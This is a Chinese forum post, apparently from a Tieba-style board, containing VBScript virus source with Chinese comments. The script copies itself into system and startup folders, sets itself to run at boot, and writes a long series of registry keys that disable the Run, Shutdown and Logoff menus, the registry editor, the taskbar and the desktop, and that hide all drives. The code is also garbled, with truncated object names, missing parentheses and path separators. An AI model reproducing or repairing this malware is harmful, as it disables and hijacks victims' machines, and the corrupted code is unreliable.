该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
on error resume next
set fs=createobject("ing.filesystemobject" '创建一个能与操作系统沟通的对象,再利用该对象的各种方法对注册表进行操作
set dir1=fs.getspecialfolder(0) '获取windows/winnt文件夹位置
set dir2=fs.getspecialfolder(1) '获取system32/system文件夹位置
set so=createobject("ing.filesystemobject"
dim r '定义一个变量
set r=createobject("w.shell"
so.getfile(w.fullname).copy(dir1&"win32system.vbs" '复制病毒副本到windows/winnt文件夹位置
so.getfile(w.fullname).copy(dir2&"win32system.vbs" '复制病毒副本到system32/system文件夹位置
so.getfile(w.fullname).copy(dir1&"start menuprograms启动win32system.vbs" '复制病毒副本到start menu启动菜单
'下面是对注册表的恶意修改和简单的依靠oe传播
r.regwrite "hkcusoftwaremicrosoftwindowscurrentversionpoliciesexplorernorun",1,"reg_dword" '修改注册表，禁止“运行”菜单
r.regwrite "kcusoftwaremicrosoftwindowscurrentversionpoliciesexplorernoclose",1,"reg_dword" '修改注册表，禁止“关闭”菜单
r.regwrite "hkcusoftwaremicrosoftwindowscurrentversionpoliciesexplorernodrives",63000000,"reg_dword" '修改注册表，隐藏所有逻辑盘符
r.regwrite "hkcusoftwaremicrosoftwindowscurrentversionpoliciessystemdisableregistrytools",1,"reg_dword" '修改注册表，禁止注册表编辑
r.regwrite "hklmsoftwaremicrosoftwindowscurrentversionrunscanregistry","" '修改注册表，禁止开机注册表扫描
r.regwrite "hkcusoftwaremicrosoftwindowscurrentversionpoliciesexplorernologoff",1,"reg_dword" '修改注册表，禁止“注销”菜单
r.regwrite "hkcusoftwaremicrosoftwindowscurrentversionpolicieswinoldappnorealmode",1,"reg_dword" '修改注册表，禁止ms-dos实模式
r.regwrite "hklmsoftwaremicrosoftwindowscurrentversionrunwin32system","win32system.vbs" '修改注册表，使这个脚本本身开机自动运行
r.regwrite "hkcusoftwaremicrosoftwindowscurrentversionpoliciesexplorernodesktop",1,"reg_dword" '修改注册表，禁止显示桌面图标
r.regwrite "hkcusoftwaremicrosoftwindowscurrentversionpolicieswinoldappdisabled",1,"reg_dword" '修改注册表，禁止纯dos模式
r.regwrite "hkcusoftwaremicrosoftwindowscurrentversionpoliciesexplorernosettaskbar",1,"reg_dword" '修改注册表，禁止“任务栏和开始”菜单
r.regwrite "hkcusoftwaremicrosoftwindowscurrentversionpoliciesexplorernoviewcontextmenu",1,"reg_dword" '修改注册表，禁止右键菜单